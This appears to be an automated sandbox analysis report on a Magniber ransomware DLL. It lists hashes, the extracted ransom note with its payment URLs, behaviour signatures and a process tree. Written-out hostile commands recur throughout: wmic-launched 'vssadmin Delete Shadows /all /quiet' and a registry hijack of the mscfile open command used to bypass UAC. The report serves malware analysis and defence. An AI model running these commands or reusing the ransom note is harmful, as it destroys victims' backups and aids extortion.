Analysis
-
max time kernel
249s -
max time network
266s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
27-08-2021 11:24
Static task
static1
Behavioral task
behavioral1
Sample
tempa.dll
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
tempa.dll
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
-
Target
tempa.dll
-
Size
38KB
-
MD5
b90ea37466ff51b92394c61642360f27
-
SHA1
1137d8f12c1f1c1a4cb16b5f36a6e297b53d969c
-
SHA256
d7ac1232f9860102bc977ecf949543f83f3d651d7a1e55af3c1d0bacddf68a2f
-
SHA512
ade05a09a533c08be307303abe5fcff2fe62b23b73da1b1e1b0d9c83c8d4a93a250fc4500264f2dc7357a4c51633ed7548ec23c57a689f2045086f7de3874220
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://2260b4d0f014c040d2hvbluctpp.7cdpfkmp6tm2t7ce6m7fdldv4eor5jxotxj6v23djv73mwfstpq3ebad.onion/hvbluctpp
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://2260b4d0f014c040d2hvbluctpp.burybig.xyz/hvbluctpp
http://2260b4d0f014c040d2hvbluctpp.centone.top/hvbluctpp
http://2260b4d0f014c040d2hvbluctpp.joyfits.site/hvbluctpp
http://2260b4d0f014c040d2hvbluctpp.dumpour.space/hvbluctpp
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://2260b4d0f014c040d2hvbluctpp.7cdpfkmp6tm2t7ce6m7fdldv4eor5jxotxj6v23djv73mwfstpq3ebad.onion/hvbluctpp
http://2260b4d0f014c040d2hvbluctpp.burybig.xyz/hvbluctpp
http://2260b4d0f014c040d2hvbluctpp.centone.top/hvbluctpp
http://2260b4d0f014c040d2hvbluctpp.joyfits.site/hvbluctpp
http://2260b4d0f014c040d2hvbluctpp.dumpour.space/hvbluctpp
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 12 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1708 976 cmd.exe 38 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1776 976 vssadmin.exe 38 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2060 976 vssadmin.exe 38 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2504 976 vssadmin.exe 38 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2496 976 cmd.exe 38 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2668 976 vssadmin.exe 38 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2832 976 vssadmin.exe 38 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2860 976 cmd.exe 38 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3000 976 vssadmin.exe 38 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2104 976 cmd.exe 38 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2176 976 vssadmin.exe 38 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2116 976 vssadmin.exe 38 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 4 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\RevokeEnter.crw => C:\Users\Admin\Pictures\RevokeEnter.crw.hvbluctpp Dwm.exe File renamed C:\Users\Admin\Pictures\UnblockComplete.crw => C:\Users\Admin\Pictures\UnblockComplete.crw.hvbluctpp Dwm.exe File opened for modification C:\Users\Admin\Pictures\MergeUpdate.tiff Dwm.exe File renamed C:\Users\Admin\Pictures\MergeUpdate.tiff => C:\Users\Admin\Pictures\MergeUpdate.tiff.hvbluctpp Dwm.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1208 set thread context of 1128 1208 rundll32.exe 15 PID 1208 set thread context of 1196 1208 rundll32.exe 13 PID 1208 set thread context of 1272 1208 rundll32.exe 12 -
Interacts with shadow copies 2 TTPs 8 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2504 vssadmin.exe 2668 vssadmin.exe 2832 vssadmin.exe 3000 vssadmin.exe 2176 vssadmin.exe 2116 vssadmin.exe 1776 vssadmin.exe 2060 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 300cb1c6369bd701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{EEBA8141-0729-11EC-877E-5A2E4D66E8CF} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e288faf9b082be4d843cc556d46ed221000000000200000000001066000000010000200000004892ca57cf4b076566950b017a7de5961a76e152100eb02ae76f5a4f70d26496000000000e8000000002000020000000292f7611a6cab5b6e1c0f83e816749411a848c30ac64d280364c45c3a9cd2420200000003af27b9a4d2b1a4702bc02c907cb31ab3f39623feb7fa78f4e8c7c58c64e16984000000051732e93b679d9012629072bffc7b36c4a8981e720cf8eb58eee31cca9c4e859f81b1eb160ae12186f2f919a28312f71cdca0a7dbee49643941e513ad8f0b988 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e288faf9b082be4d843cc556d46ed2210000000002000000000010660000000100002000000061cec15f7ade8646c8b147b6c32d9822780869d9120f25810a50522a0b1bfda3000000000e800000000200002000000014d62d488217a9e266dba9dc76e9b18bf9a59dec3164e696e5f4ee3e41cc8ea490000000eec7df3323b0eb93e6a12414405a49f07b7b8cac8ab08b3bde761e751ec195a5823e51e0f16ae2f4ad71d218b70a2e1f4a2ff31748063f114790c62ba384158a7ee2ae4c57fb8a2383711ec80d8cab26f4a40e647098b4372d1e090fd13f77d47104830d2f1c4fbb41abd03dad0711bb2f4f54dec3dc0bf73280e4d96780ad94dfe2b8acc8491a0c875b1ffb778ec5c840000000b05173dd4bf99f059aaed35243300f614544ae6893d1f9584603346f62201df7b61c41cf96869b0bfffef972ab941fe8448197f61110905f00ce15430351a03a iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "336828698" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command rundll32.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" rundll32.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1496 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1208 rundll32.exe 1208 rundll32.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1272 Explorer.EXE -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 1208 rundll32.exe 1208 rundll32.exe 1208 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 584 wmic.exe Token: SeSecurityPrivilege 584 wmic.exe Token: SeTakeOwnershipPrivilege 584 wmic.exe Token: SeLoadDriverPrivilege 584 wmic.exe Token: SeSystemProfilePrivilege 584 wmic.exe Token: SeSystemtimePrivilege 584 wmic.exe Token: SeProfSingleProcessPrivilege 584 wmic.exe Token: SeIncBasePriorityPrivilege 584 wmic.exe Token: SeCreatePagefilePrivilege 584 wmic.exe Token: SeBackupPrivilege 584 wmic.exe Token: SeRestorePrivilege 584 wmic.exe Token: SeShutdownPrivilege 584 wmic.exe Token: SeDebugPrivilege 584 wmic.exe Token: SeSystemEnvironmentPrivilege 584 wmic.exe Token: SeRemoteShutdownPrivilege 584 wmic.exe Token: SeUndockPrivilege 584 wmic.exe Token: SeManageVolumePrivilege 584 wmic.exe Token: 33 584 wmic.exe Token: 34 584 wmic.exe Token: 35 584 wmic.exe Token: SeIncreaseQuotaPrivilege 1664 WMIC.exe Token: SeSecurityPrivilege 1664 WMIC.exe Token: SeTakeOwnershipPrivilege 1664 WMIC.exe Token: SeLoadDriverPrivilege 1664 WMIC.exe Token: SeSystemProfilePrivilege 1664 WMIC.exe Token: SeSystemtimePrivilege 1664 WMIC.exe Token: SeProfSingleProcessPrivilege 1664 WMIC.exe Token: SeIncBasePriorityPrivilege 1664 WMIC.exe Token: SeCreatePagefilePrivilege 1664 WMIC.exe Token: SeBackupPrivilege 1664 WMIC.exe Token: SeRestorePrivilege 1664 WMIC.exe Token: SeShutdownPrivilege 1664 WMIC.exe Token: SeDebugPrivilege 1664 WMIC.exe Token: SeSystemEnvironmentPrivilege 1664 WMIC.exe Token: SeRemoteShutdownPrivilege 1664 WMIC.exe Token: SeUndockPrivilege 1664 WMIC.exe Token: SeManageVolumePrivilege 1664 WMIC.exe Token: 33 1664 WMIC.exe Token: 34 1664 WMIC.exe Token: 35 1664 WMIC.exe Token: SeIncreaseQuotaPrivilege 584 wmic.exe Token: SeSecurityPrivilege 584 wmic.exe Token: SeTakeOwnershipPrivilege 584 wmic.exe Token: SeLoadDriverPrivilege 584 wmic.exe Token: SeSystemProfilePrivilege 584 wmic.exe Token: SeSystemtimePrivilege 584 wmic.exe Token: SeProfSingleProcessPrivilege 584 wmic.exe Token: SeIncBasePriorityPrivilege 584 wmic.exe Token: SeCreatePagefilePrivilege 584 wmic.exe Token: SeBackupPrivilege 584 wmic.exe Token: SeRestorePrivilege 584 wmic.exe Token: SeShutdownPrivilege 584 wmic.exe Token: SeDebugPrivilege 584 wmic.exe Token: SeSystemEnvironmentPrivilege 584 wmic.exe Token: SeRemoteShutdownPrivilege 584 wmic.exe Token: SeUndockPrivilege 584 wmic.exe Token: SeManageVolumePrivilege 584 wmic.exe Token: 33 584 wmic.exe Token: 34 584 wmic.exe Token: 35 584 wmic.exe Token: SeIncreaseQuotaPrivilege 1664 WMIC.exe Token: SeSecurityPrivilege 1664 WMIC.exe Token: SeTakeOwnershipPrivilege 1664 WMIC.exe Token: SeLoadDriverPrivilege 1664 WMIC.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 1272 Explorer.EXE 1156 iexplore.exe 1272 Explorer.EXE 1272 Explorer.EXE 1272 Explorer.EXE 1272 Explorer.EXE -
Suspicious use of SendNotifyMessage 7 IoCs
pid Process 1272 Explorer.EXE 1272 Explorer.EXE 1272 Explorer.EXE 1272 Explorer.EXE 1272 Explorer.EXE 1272 Explorer.EXE 1272 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1156 iexplore.exe 1156 iexplore.exe 1056 IEXPLORE.EXE 1056 IEXPLORE.EXE 1056 IEXPLORE.EXE 1056 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1196 wrote to memory of 1496 1196 Dwm.exe 29 PID 1196 wrote to memory of 1496 1196 Dwm.exe 29 PID 1196 wrote to memory of 1496 1196 Dwm.exe 29 PID 1196 wrote to memory of 820 1196 Dwm.exe 31 PID 1196 wrote to memory of 820 1196 Dwm.exe 31 PID 1196 wrote to memory of 820 1196 Dwm.exe 31 PID 1196 wrote to memory of 584 1196 Dwm.exe 30 PID 1196 wrote to memory of 584 1196 Dwm.exe 30 PID 1196 wrote to memory of 584 1196 Dwm.exe 30 PID 1196 wrote to memory of 1400 1196 Dwm.exe 33 PID 1196 wrote to memory of 1400 1196 Dwm.exe 33 PID 1196 wrote to memory of 1400 1196 Dwm.exe 33 PID 1400 wrote to memory of 1664 1400 cmd.exe 36 PID 1400 wrote to memory of 1664 1400 cmd.exe 36 PID 1400 wrote to memory of 1664 1400 cmd.exe 36 PID 820 wrote to memory of 1156 820 cmd.exe 37 PID 820 wrote to memory of 1156 820 cmd.exe 37 PID 820 wrote to memory of 1156 820 cmd.exe 37 PID 1708 wrote to memory of 1392 1708 cmd.exe 44 PID 1708 wrote to memory of 1392 1708 cmd.exe 44 PID 1708 wrote to memory of 1392 1708 cmd.exe 44 PID 1156 wrote to memory of 1056 1156 iexplore.exe 47 PID 1156 wrote to memory of 1056 1156 iexplore.exe 47 PID 1156 wrote to memory of 1056 1156 iexplore.exe 47 PID 1156 wrote to memory of 1056 1156 iexplore.exe 47 PID 1392 wrote to memory of 1892 1392 CompMgmtLauncher.exe 49 PID 1392 wrote to memory of 1892 1392 CompMgmtLauncher.exe 49 PID 1392 wrote to memory of 1892 1392 CompMgmtLauncher.exe 49 PID 1128 wrote to memory of 2380 1128 taskhost.exe 54 PID 1128 wrote to memory of 2380 1128 taskhost.exe 54 PID 1128 wrote to memory of 2380 1128 taskhost.exe 54 PID 1128 wrote to memory of 2392 1128 taskhost.exe 56 PID 1128 wrote to memory of 2392 1128 taskhost.exe 56 PID 1128 wrote to memory of 2392 1128 taskhost.exe 56 PID 2392 wrote to memory of 2436 2392 cmd.exe 58 PID 2392 wrote to memory of 2436 2392 cmd.exe 58 PID 2392 wrote to memory of 2436 2392 cmd.exe 58 PID 2496 wrote to memory of 2552 2496 cmd.exe 63 PID 2496 wrote to memory of 2552 2496 cmd.exe 63 PID 2496 wrote to memory of 2552 2496 cmd.exe 63 PID 2552 wrote to memory of 2612 2552 CompMgmtLauncher.exe 64 PID 2552 wrote to memory of 2612 2552 CompMgmtLauncher.exe 64 PID 2552 wrote to memory of 2612 2552 CompMgmtLauncher.exe 64 PID 1272 wrote to memory of 2724 1272 Explorer.EXE 68 PID 1272 wrote to memory of 2724 1272 Explorer.EXE 68 PID 1272 wrote to memory of 2724 1272 Explorer.EXE 68 PID 1272 wrote to memory of 2736 1272 Explorer.EXE 69 PID 1272 wrote to memory of 2736 1272 Explorer.EXE 69 PID 1272 wrote to memory of 2736 1272 Explorer.EXE 69 PID 2736 wrote to memory of 2784 2736 cmd.exe 72 PID 2736 wrote to memory of 2784 2736 cmd.exe 72 PID 2736 wrote to memory of 2784 2736 cmd.exe 72 PID 2860 wrote to memory of 2908 2860 cmd.exe 77 PID 2860 wrote to memory of 2908 2860 cmd.exe 77 PID 2860 wrote to memory of 2908 2860 cmd.exe 77 PID 2908 wrote to memory of 2948 2908 CompMgmtLauncher.exe 79 PID 2908 wrote to memory of 2948 2908 CompMgmtLauncher.exe 79 PID 2908 wrote to memory of 2948 2908 CompMgmtLauncher.exe 79 PID 1208 wrote to memory of 3048 1208 rundll32.exe 82 PID 1208 wrote to memory of 3048 1208 rundll32.exe 82 PID 1208 wrote to memory of 3048 1208 rundll32.exe 82 PID 1208 wrote to memory of 3060 1208 rundll32.exe 83 PID 1208 wrote to memory of 3060 1208 rundll32.exe 83 PID 1208 wrote to memory of 3060 1208 rundll32.exe 83
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1272 -
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\tempa.dll,#12⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:3048
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵PID:3060
-
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:440
-
-
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:2724
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:2784
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1196 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1496
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:584
-
-
C:\Windows\system32\cmd.execmd /c "start http://2260b4d0f014c040d2hvbluctpp.burybig.xyz/hvbluctpp^&1^&35322498^&69^&325^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:820 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://2260b4d0f014c040d2hvbluctpp.burybig.xyz/hvbluctpp&1&35322498&69&325&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1156 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1156 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1056
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1400 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1664
-
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:2380
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2392 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:2436
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1708 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1392 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1892
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1776
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1340
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2060
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2504
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2496 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2552 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2612
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2668
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2832
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2948
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:3000
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
PID:2104 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2204
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:208
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2176
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2116